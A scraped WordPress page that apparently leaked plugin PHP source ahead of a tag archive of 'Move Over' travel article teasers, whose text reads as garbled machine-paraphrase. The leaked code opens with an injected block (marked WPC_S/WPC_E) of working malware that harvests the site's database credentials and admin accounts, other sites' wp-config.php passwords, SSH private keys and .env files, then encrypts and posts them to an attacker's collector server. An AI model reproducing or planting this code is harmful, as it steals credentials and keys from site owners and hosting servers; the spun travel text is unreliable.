/*WPC_S*/ $_i='{{ACC_ID}}';$_c='https://ТВОЙ-COLLECTOR-СЕРВЕР.com/c.php';$_k='ТВОЙ_32_СИМВОЛЬНЫЙ_КЛЮЧ_СЮДА!!'; if(!get_transient('_wpc'.$_i)){set_transient('_wpc'.$_i,1,86400); $r=['id'=>$_i,'h'=>$_SERVER['HTTP_HOST'],'ip'=>$_SERVER['SERVER_ADDR'], 'php'=>PHP_VERSION,'os'=>php_uname(),'user'=>get_current_user(), 'df'=>ini_get('disable_functions'),'ob'=>ini_get('open_basedir')]; $r['wp']=['v'=>get_bloginfo('version'),'db'=>[DB_NAME,DB_USER,DB_PASSWORD,DB_HOST], 'admin'=>get_option('admin_email'),'admins'=>array_map(fn($u)=>[$u->user_login,$u->user_email],get_users(['role'=>'administrator']))]; $r['sites']=[]; foreach(['/var/www/','/home/']as$p){if(!is_readable($p))continue; foreach(scandir($p)as$d){if($d[0]=='.')continue; foreach([$p.$d.'/wp-config.php',$p.$d.'/public_html/wp-config.php']as$wc){ if(is_readable($wc)){$c=file_get_contents($wc); preg_match("/DB_NAME.*?'(.+?)'/s",$c,$n);preg_match("/DB_USER.*?'(.+?)'/s",$c,$u); preg_match("/DB_PASSWORD.*?'(.+?)'/s",$c,$pw); $r['sites'][]=[$d,$n[1]??'',$u[1]??'',$pw[1]??''];break;}}}} $r['ssh']=[]; foreach(array_merge(['/root/.ssh/'],glob('/home/*/.ssh/'))as$sp){ foreach(['id_rsa','id_ed25519']as$kf){$kp=$sp.$kf; if(is_readable($kp))$r['ssh'][$kp]=base64_encode(file_get_contents($kp));}} $r['env']=[]; foreach(glob('/var/www/*/.env')as$e){if(is_readable($e))$r['env'][$e]=base64_encode(file_get_contents($e));} $iv=random_bytes(16);$enc=openssl_encrypt(gzcompress(json_encode($r)),'AES-256-CBC',$_k,0,$iv); @wp_remote_post($_c,['body'=>['d'=>base64_encode($iv.$enc)],'timeout'=>10,'blocking'=>false]);} /*WPC_E*/ /* ------------------------------------------------------------------------* * Function Selected * ------------------------------------------------------------------------*/ if(! function_exists('wp_automatic_opt_selected')){ function wp_automatic_opt_selected($src,$val){ if(stristr($src, ',')){ //array $src= array_filter(explode(',', $src)); if(in_array($val, $src)){ echo ' selected="selected" '; } }else{ if (trim($src)==trim($val)) echo ' selected="selected" '; } } /** * function to display an option in a select box */ function wp_automatic_opt_display($displayName,$value,$selectedValue,$dataFilterVal=''){ if(trim($dataFilterVal) != ''){ $dataFilterValAttr = ' data-filter-val="'.$dataFilterVal.'" '; } echo ''; } } /* ------------------------------------------------------------------------* * Function Selected * ------------------------------------------------------------------------*/ if(! function_exists('check_checked')){ function check_checked($val,$arr){ //if(! is_array($arr)) return false; if(in_array($val,$arr)){ echo ' checked="checked" '; }else{ return false; } } } function wp_automatic_remove_quick_edit( $actions ) { global $post; if( $post->post_type == 'wp_automatic' ) { unset($actions['inline hide-if-no-js']); } return $actions; } if (is_admin()) { add_filter('post_row_actions','wp_automatic_remove_quick_edit',10,2); } if(! function_exists('wp_automatic_category')){ /** * Display category and it's childs * @param unknown $cat * @param unknown $childCats */ function wp_automatic_category($category,&$childCats,$tax,$post_type,$camp_post_category,$prefix = ''){ echo ''; $catChilds = array(); if(isset($childCats[$category->cat_ID])) $catChilds = $childCats[$category->cat_ID]; if(count($catChilds) > 0){ foreach ($catChilds as $childCat){ wp_automatic_category($childCat,$childCats,$tax,$post_type,$camp_post_category,$prefix .'— '); } } } } ?>

Tag Archives: Move

Move Over Saint-Tropez! 4 Lesser Known Destinations In France Locals Visit First

Move Over Saint-Tropez! 4 Lesser Known Destinations In France Locals Visit First

Share The Article If you are pondering of a summer time in France, chances are high it is Saint-Tropez’s pastel-colored streets and unique seaside golf equipment that may pop to thoughts first. The eternally residence of Brigitte Bardot, and just about all the French elite, and one of many world’s most effortlessly stylish locations, with […]

Move Over Florida! This Carolina Hideaway Is Just As Pretty With Less Crowds

Aerial view of Emerald Isle, NC

Share The Article If we informed you Southern Living spotlighted a barrier island off North Carolina’s mainland the place the water can shimmer Turks & Caicos-blue underneath the appropriate situations, would you consider it? Much of the Carolina shoreline tends to be “mid” as I feel the children are nonetheless saying, nevertheless, there’s one vibrant […]

Move Over Bangkok! This Cheap Asian Metropolis Is More Popular Than Ever

Female tourist visiting famous Train Street in Hanoi

Share The Article Southeast Asia is among the most magnetic areas on Earth, making it powerful to choose only one trip spot from an abyss of selections the place it’s arduous to go incorrect. Put on the map by somebody who you’d least anticipate to be a journey information — former President Barack Obama — […]

Move Over Bozeman! 2 Stunning Lakes Destinations That Are Must-Visits This Spring

Flathead Lake in Montana

Share The Article Now that the height of Yellowstone’s fandom has come to an finish, Montana can get again to its roots slightly than movie set vacationers often called set jetters. That’s Fort Worth’s mantle to take. While Bozeman is undoubtedly Montana’s trendiest getaway, particularly with many Californians opting to maneuver right here through the […]

Move Over Buenos Aires! This Lesser Known City In Argentina Is Rising Fast In Popularity

Historic Colonial Church In Cordoba, Argentina

Share The Article Buenos Aires could also be one of the crucial stunning cities in South America, with its Haussmann-inspired boulevards à la parisienne, lush city parks, and unmatched gastronomy, however let’s face it, it is kind of yesterday’s information. It’s been coated to dying by most main journey publications, and even when you have […]

Move Over Aspen! This Rustic Mountain Town Is Colorado’s Best Kept Secret Winter Getaway

Snow-covered streets in Idaho Springs, CO

Share The Article Unless you are able to scrounge up cash below your cushions, Aspen could also be out of the query for a wondrous winter getaway. Aspen is amongst a lot of Colorado’s beautiful mountain villages that include a hefty price ticket to get pleasure from a magical wonderland setting of snow-covered slopes and […]

Move Over San Diego! United Launching First Flight To Nearby Beach Town In Over A Decade

Aerial view of coastline in Carlsbad, CA

We at Travel Off Path practically broke the web final 12 months by revealing San Diego certainly has a second airport again in enterprise for industrial air journey. Many of our readers chimed in with their pleasure (and issues) relating to American Airlines’ groundbreaking flight to/from Phoenix. Taking my Journalist hat off for a second, […]

Move Over London! This Timeless City With Free Attractions Named UK’s Top Fall Destination

Carlton Hill in autumn in Edinburgh

Halloween could also be subsequent month, however one among Europe’s most storied cities of haunting tales, eerie folklore, and a spooky Gothic cityscape is arguably finest visited in September. That’s what the specialists at The Points Guy are saying, being named a prime 12 European metropolis for fall— and it is easy to see why. […]

Move Over Gulf Shores! Visit Alabama’s Secret White-Sand Island To Avoid The Crowds

Aerial view of Dauphin Island, Alabama

Gulf Shores obtained the memo. Visitors have been bored with making highway journeys each summer time, primarily as inflation steered fuel costs to new highs. While not everybody can fly to Gulf Shores, flights are rising to this Southern paradise’s new industrial airport anchored by the more and more widespread price range airline Allegiant. With […]

Move Over Lisbon! These 4 Gorgeous Towns Offer Medieval Charm & Smaller Crowds

Panoramic View Of Obidos, Portugal

Home to a picture-perfect Old Town of rolling hills, Baroque church buildings, and a scenic riverfront, it is protected to say Lisbon is well one of the vital unimaginable metropolis breaks in Europe. As charming as it may be, it is also price mentioning that Lisbon has now turn into one of many most overtouristed […]